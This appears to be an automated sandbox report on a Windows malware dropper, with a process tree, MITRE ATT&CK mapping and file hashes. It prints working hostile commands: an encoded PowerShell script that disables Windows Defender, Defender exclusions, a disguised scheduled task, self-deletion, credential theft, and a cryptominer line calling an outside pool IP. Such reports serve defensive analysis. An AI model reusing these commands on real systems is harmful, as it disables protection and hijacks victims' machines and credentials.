ABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:6024
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\system32\sc.exe" qc windefend
              5⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:6436
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4364
            • C:\Windows\SysWOW64\whoami.exe
              "C:\Windows\system32\whoami.exe" /groups
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:5304
            • C:\Windows\SysWOW64\net1.exe
              "C:\Windows\system32\net1.exe" start TrustedInstaller
              5⤵
              • System Location Discovery: System Language Discovery
              PID:6976
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4112 -s 2848
            4⤵
            • Program crash
            PID:1120
        • C:\Users\Admin\AppData\Local\Temp\a\cat.exe
          "C:\Users\Admin\AppData\Local\Temp\a\cat.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Drops startup file
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4248
        • C:\Users\Admin\AppData\Local\Temp\a\AutoHotkeyU64.exe
          "C:\Users\Admin\AppData\Local\Temp\a\AutoHotkeyU64.exe"
          3⤵
          • Executes dropped EXE
          PID:1968
        • C:\Users\Admin\AppData\Local\Temp\a\Setup.exe
          "C:\Users\Admin\AppData\Local\Temp\a\Setup.exe"
          3⤵
          • Executes dropped EXE
          PID:4376
        • C:\Users\Admin\AppData\Local\Temp\a\dog.exe
          "C:\Users\Admin\AppData\Local\Temp\a\dog.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Drops startup file
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:364
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
            4⤵
              PID:6368
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 6368 -s 212
                5⤵
                • Program crash
                PID:804
          • C:\Users\Admin\AppData\Local\Temp\a\KrnlSetup.exe
            "C:\Users\Admin\AppData\Local\Temp\a\KrnlSetup.exe"
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:5724
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\KrnlSetup.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5952
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KrnlSetup.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3196
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\ntoskrnl.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5288
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'ntoskrnl.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              PID:2664
          • C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe
            "C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:6136
          • C:\Users\Admin\AppData\Local\Temp\a\Z9Pp9pM.exe
            "C:\Users\Admin\AppData\Local\Temp\a\Z9Pp9pM.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:6992
          • C:\Users\Admin\AppData\Local\Temp\a\APQSKVTvd60SdAM.exe
            "C:\Users\Admin\AppData\Local\Temp\a\APQSKVTvd60SdAM.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:6528
          • C:\Users\Admin\AppData\Local\Temp\a\HKP098767890HJ.exe
            "C:\Users\Admin\AppData\Local\Temp\a\HKP098767890HJ.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:6020
            • C:\Users\Admin\AppData\Local\complacence\outvaunts.exe
              "C:\Users\Admin\AppData\Local\Temp\a\HKP098767890HJ.exe"
              4⤵
              • Drops startup file
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:4816
              • C:\Users\Admin\AppData\Local\complacence\outvaunts.exe
                C:\Users\Admin\AppData\Local\complacence\outvaunts.exe /stext "C:\Users\Admin\AppData\Local\Temp\cfvjjkn"
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:6956
              • C:\Users\Admin\AppData\Local\complacence\outvaunts.exe
                C:\Users\Admin\AppData\Local\complacence\outvaunts.exe /stext "C:\Users\Admin\AppData\Local\Temp\mhickcylzb"
                5⤵
                • Executes dropped EXE
                • Accesses Microsoft Outlook accounts
                • System Location Discovery: System Language Discovery
                PID:3216
              • C:\Users\Admin\AppData\Local\complacence\outvaunts.exe
                C:\Users\Admin\AppData\Local\complacence\outvaunts.exe /stext "C:\Users\Admin\AppData\Local\Temp\xboulvinnjbmv"
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5516
          • C:\Users\Admin\AppData\Local\Temp\a\profile1.exe
            "C:\Users\Admin\AppData\Local\Temp\a\profile1.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:1060
            • C:\Users\Admin\AppData\Local\Temp\a\profile1.exe
              C:\Users\Admin\AppData\Local\Temp\a\profile1.exe
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1032
            • C:\Users\Admin\AppData\Local\Temp\a\profile1.exe
              C:\Users\Admin\AppData\Local\Temp\a\profile1.exe
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5600
          • C:\Users\Admin\AppData\Local\Temp\a\C1J7SVw.exe
            "C:\Users\Admin\AppData\Local\Temp\a\C1J7SVw.exe"
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3544
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
              4⤵
                PID:5344
                • C:\Windows\system32\mode.com
                  mode 65,10
                  5⤵
                    PID:6952
                  • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                    7z.exe e file.zip -p24291711423417250691697322505 -oextracted
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of AdjustPrivilegeToken
                    PID:536
                  • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                    7z.exe e extracted/file_7.zip -oextracted
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1392
                  • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                    7z.exe e extracted/file_6.zip -oextracted
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of AdjustPrivilegeToken
                    PID:6812
                  • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                    7z.exe e extracted/file_5.zip -oextracted
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of AdjustPrivilegeToken
                    PID:6900
                  • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                    7z.exe e extracted/file_4.zip -oextracted
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5712
                  • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                    7z.exe e extracted/file_3.zip -oextracted
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:2820
                  • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                    7z.exe e extracted/file_2.zip -oextracted
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:6428
                  • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                    7z.exe e extracted/file_1.zip -oextracted
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:804
                  • C:\Windows\system32\attrib.exe
                    attrib +H "in.exe"
                    5⤵
                    • Views/modifies file attributes
                    PID:3528
                  • C:\Users\Admin\AppData\Local\Temp\main\in.exe
                    "in.exe"
                    5⤵
                    • Executes dropped EXE
                    PID:2032
                    • C:\Windows\SYSTEM32\attrib.exe
                      attrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                      6⤵
                      • Views/modifies file attributes
                      PID:5464
                    • C:\Windows\SYSTEM32\attrib.exe
                      attrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                      6⤵
                      • Views/modifies file attributes
                      PID:4400
                    • C:\Windows\SYSTEM32\schtasks.exe
                      schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
                      6⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:6044
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell ping 127.0.0.1; del in.exe
                      6⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      PID:5824
                      • C:\Windows\system32\PING.EXE
                        "C:\Windows\system32\PING.EXE" 127.0.0.1
                        7⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        • Runs ping.exe
                        PID:2528
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
              2⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2452
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 94.156.167.42:3333 -a rx -k -u KAS:kaspa:qqjn2sfatk0dmj0x47yns4xlyp3avwp46mhum864y5kc3hcrajwy7v5npvpn8.RIG_CPU -p x --cpu-max-threads-hint=50
                3⤵
                • Suspicious use of FindShellTrayWindow
                PID:6276
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
              2⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:2392
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 176 -p 6368 -ip 6368
            1⤵
              PID:5888
            • C:\Windows\servicing\TrustedInstaller.exe
              C:\Windows\servicing\TrustedInstaller.exe
              1⤵
                PID:6920
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
                  2⤵
                  • Modifies Windows Defender Real-time Protection settings
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3968
                  • C:\Windows\SysWOW64\sc.exe
                    "C:\Windows\system32\sc.exe" qc windefend
                    3⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:6600
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:5292
                  • C:\Windows\SysWOW64\whoami.exe
                    "C:\Windows\system32\whoami.exe" /groups
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:1532
                  • C:\Windows\SysWOW64\net1.exe
                    "C:\Windows\system32\net1.exe" stop windefend
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:4804
                  • C:\Windows\SysWOW64\sc.exe
                    "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                    3⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:4768
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4112 -ip 4112
                1⤵
                  PID:6828
                • C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                  C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:2388
                  • C:\Windows\explorer.exe
                    explorer.exe
                    2⤵
                      PID:228
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                      2⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      PID:920
                      • C:\Windows\system32\PING.EXE
                        "C:\Windows\system32\PING.EXE" 127.1.10.1
                        3⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        • Runs ping.exe
                        PID:5228
                  • C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                    C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:3200
                    • C:\Windows\explorer.exe
                      explorer.exe
                      2⤵
                        PID:6040
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                        2⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        PID:1968
                        • C:\Windows\system32\PING.EXE
                          "C:\Windows\system32\PING.EXE" 127.1.10.1
                          3⤵
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:5560

                    Network

                    MITRE ATT&CK Enterprise v15

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    1
                    T1059

                    PowerShell

                    1
                    T1059.001

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Persistence

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Registry Run Keys / Startup Folder

                    1
                    T1547.001

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Registry Run Keys / Startup Folder

                    1
                    T1547.001

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Defense Evasion

                    Hide Artifacts

                    1
                    T1564

                    Hidden Files and Directories

                    1
                    T1564.001

                    Impair Defenses

                    1
                    T1562

                    Disable or Modify Tools

                    1
                    T1562.001

                    Modify Registry

                    2
                    T1112

                    Virtualization/Sandbox Evasion

                    2
                    T1497

                    Credential Access

                    Credentials from Password Stores

                    1
                    T1555

                    Credentials from Web Browsers

                    1
                    T1555.003

                    Unsecured Credentials

                    1
                    T1552

                    Credentials In Files

                    1
                    T1552.001

                    Discovery

                    Browser Information Discovery

                    1
                    T1217

                    Query Registry

                    6
                    T1012

                    Remote System Discovery

                    1
                    T1018

                    System Information Discovery

                    3
                    T1082

                    System Location Discovery

                    1
                    T1614

                    System Language Discovery

                    1
                    T1614.001

                    System Network Configuration Discovery

                    1
                    T1016

                    Internet Connection Discovery

                    1
                    T1016.001

                    Virtualization/Sandbox Evasion

                    2
                    T1497

                    Lateral Movement

                    Collection

                    Data from Local System

                    1
                    T1005

                    Email Collection

                    1
                    T1114

                    Command and Control

                    Exfiltration

                    Impact

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                      Filesize

                      2KB

                      MD5

                      d85ba6ff808d9e5444a4b369f5bc2730

                      SHA1

                      31aa9d96590fff6981b315e0b391b575e4c0804a

                      SHA256

                      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                      SHA512

                      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                      Filesize

                      2KB

                      MD5

                      712a00a9d8164b3b6795c4e11800d2f1

                      SHA1

                      82952ef15a2e4e2b06cb149d3b206d11135128b5

                      SHA256

                      2a3b20384f9ce1100ea1c1d3fc24b874446506c627102da75ace1e7bcac4a052

                      SHA512

                      ab87d76996cf96e76f9182f72ffe16b1e014ac1ccbe2991a6cd85309622365fbf4a6e79023e616c529640f626cd3943bab9338816bf6ce6831cf5696d28ecd17

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      Filesize

                      944B

                      MD5

                      3a6bad9528f8e23fb5c77fbd81fa28e8

                      SHA1

                      f127317c3bc6407f536c0f0600dcbcf1aabfba36

                      SHA256

                      986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05

                      SHA512

                      846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      Filesize

                      21KB

                      MD5

                      e017b4271a0bf2386ef05f52b995ba56

                      SHA1

                      8f2d3619332268180238db61dc27c456c1d376af

                      SHA256

                      a745cdc4cf466c98f087584d8fb9b1114bc9b3086865672033647556ddc95321

                      SHA512

                      1e2cfe5fdcf50b172e8e60fb3ddf7634cd6bafb49d7f4414c00a27e94cbf348fe61b120c598c9d2d6bc92b84f5fbf9fe58b0fdb91aefc965c58eda5bc802db58

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yu4wfbmn.r1t.ps1
                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\02.08.2022.exe
                      Filesize

                      201KB

                      MD5

                      12d7ae10b1836cd3091d712723a5a4d6

                      SHA1

                      b99fef462f433da1b959c69dfe62703d12464ea7

                      SHA256

                      8c56614bca1aaaabe522c46bb14ad9237a9d80783725b729feb4b255c8aca445

                      SHA512

                      ab3dd7772ff74a3b48033be5011edc065425e225c5c1c489cd28c6791bd24fc14be01105b97e14dee6ed4b5f453a986048d1a91808619dad518c43065ebc699a

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\APQSKVTvd60SdAM.exe
                      Filesize

                      909KB

                      MD5

                      ff7e78da9c8e580229fe95dfdfe5b098

                      SHA1

                      ab968e47e463f29426116753b0ca086fd5b33cdb

                      SHA256

                      cefa40083339d42320bc1f9ba33c578b8abe47e15eb0dd6b0ba2f734aa8f3d6d

                      SHA512

                      45517b8bc96613daeabb738a42188b8ef19b0ac2b53e3202f7d86f683dacdbe1c4a78414938ab5ad0b48b7c546bc89a78932e3b8a1dbf6604e59b4887de48409

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\AutoHotkeyU64.exe
                      Filesize

                      1.3MB

                      MD5

                      2d0600fe2b1b3bdc45d833ca32a37fdb

                      SHA1

                      e9a7411bfef54050de3b485833556f84cabd6e41

                      SHA256

                      effdea83c6b7a1dc2ce9e9d40e91dfd59bed9fcbd580903423648b7ca97d9696

                      SHA512

                      9891cd6d2140c3a5c20d5c2d6600f3655df437b99b09ae0f9daf1983190dc73385cc87f02508997bb696ac921eee43fccdf1dc210cc602938807bdb062ce1703

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\C1J7SVw.exe
                      Filesize

                      4.2MB

                      MD5

                      3a425626cbd40345f5b8dddd6b2b9efa

                      SHA1

                      7b50e108e293e54c15dce816552356f424eea97a

                      SHA256

                      ba9212d2d5cd6df5eb7933fb37c1b72a648974c1730bf5c32439987558f8e8b1

                      SHA512

                      a7538c6b7e17c35f053721308b8d6dc53a90e79930ff4ed5cffecaa97f4d0fbc5f9e8b59f1383d8f0699c8d4f1331f226af71d40325022d10b885606a72fe668

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe
                      Filesize

                      78KB

                      MD5

                      051a35afeeaefb8cd96b0fb74673fce5

                      SHA1

                      789f61f744f5db242338d2a681239e47920659d7

                      SHA256

                      e7f2b9453131a2040ff975e27915fe21f6b80953b12fe6d7309af2f6db45cb14

                      SHA512

                      4369842c7798af4513c6d010ec154dcc7df4547e4b02ef7fe4d83059131e381334411c1f8390b24841e222fbce812100118ff1ec382e9a87a2d36bc7192e0ca6

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\H3tyh96.exe
                      Filesize

                      1.7MB

                      MD5

                      40f8c17c136d4dc83b130c9467cf6dcc

                      SHA1

                      e9b6049aa7da0af9718f2f4ae91653d9bac403bb

                      SHA256

                      cafb60920939bd2079d96f2e6e73f87632bc15bd72998f864e8968f7aab9623b

                      SHA512

                      6760a0752957535ec45ce3307e31569ac263eb73157d6a424d6e30647651a4e93db7c0378028d9e0ce07e65a357d2bb81047064ccda2f6a13fa7402ee7794c2d

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\HKP098767890HJ.exe
                      Filesize

                      813KB

                      MD5

                      d6b16370cd4e60185aa88607316a0c05

                      SHA1

                      7fbc63b1203617c67e5491745beaedb424baed78

                      SHA256

                      a6d6d1c8299f97f966d72373e999b5a8e6768914e27d5533307cf6878b95dce2

                      SHA512

                      16c468948e568343ab1a1460d82b4c5859d09043e3a0115aa9c0aefeabfa22c796cca505ede8b1f194764dda7c5263979230e3fa272ee1fb3b21919202b01906

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\KrnlSetup.exe
                      Filesize

                      87KB

                      MD5

                      493ac3e54bae1f0d5a31b68348352f6c

                      SHA1

                      170c49a1115624e8fc5cafe7c33f76e54cf31c7a

                      SHA256

                      c89625e4304d4708308a8a4138af28b90d490e8bd29ccdf3bc1f567d9644a7d7

                      SHA512

                      5bad0866843dd49d0197f38f9f9a9ed745373b4cea2a6c70a1a1dc81b3ff8913b0b4825653be71e7b65b93886bb27419bd7d61045476fee13547f8d85acf65bb

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\Z9Pp9pM.exe
                      Filesize

                      2.5MB

                      MD5

                      2a78ce9f3872f5e591d643459cabe476

                      SHA1

                      9ac947dfc71a868bc9c2eb2bd78dfb433067682e

                      SHA256

                      21a2ac44acd7a640735870eebfd04b8dc57bc66877cb5be3b929299e86a43dae

                      SHA512

                      03e2cd8161a1394ee535a2ea7d197791ab715d69a02ffab98121ec5ac8150d2b17a9a32a59307042c4bbeffad7425b55efa047651de6ed39277dba80711454f9

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\cat.exe
                      Filesize

                      1.9MB

                      MD5

                      9a2c21e9c6253f8db91cedfecb3a0b6d

                      SHA1

                      dfdcaf3a612b6461d4b30979190b0efc9998cacc

                      SHA256

                      027e89fa9093eb47521055461a6114b9c0371b4fd3a2ebfb0f969bccae9e45c2

                      SHA512

                      c91da9e5a2d245729bdfbb5b7e7f1cdf47479455b4344e2f11b674d4db4983dd1667c526de752bb2f4ce9e400bc99d376c06957ca119530acc83457a2f2bffaf

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\dog.exe
                      Filesize

                      1.3MB

                      MD5

                      7f59fd885059820b8806dc170b1df4f2

                      SHA1

                      8ee96d4d0f8db6d499c1671837439cd5ba4130de

                      SHA256

                      69fd8755633cda5578bf4d8c96948a34e902f09eea7fe3e7f6d5aba59f9614cb

                      SHA512

                      872a2d26e3618109f7e0f6f94b254b3ee5916c9635e33dbcea43d30dd5c1d6fba3b92a4357f30d821a39076292b065f53a99144437325213da1870bd11aa2429

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\profile1.exe
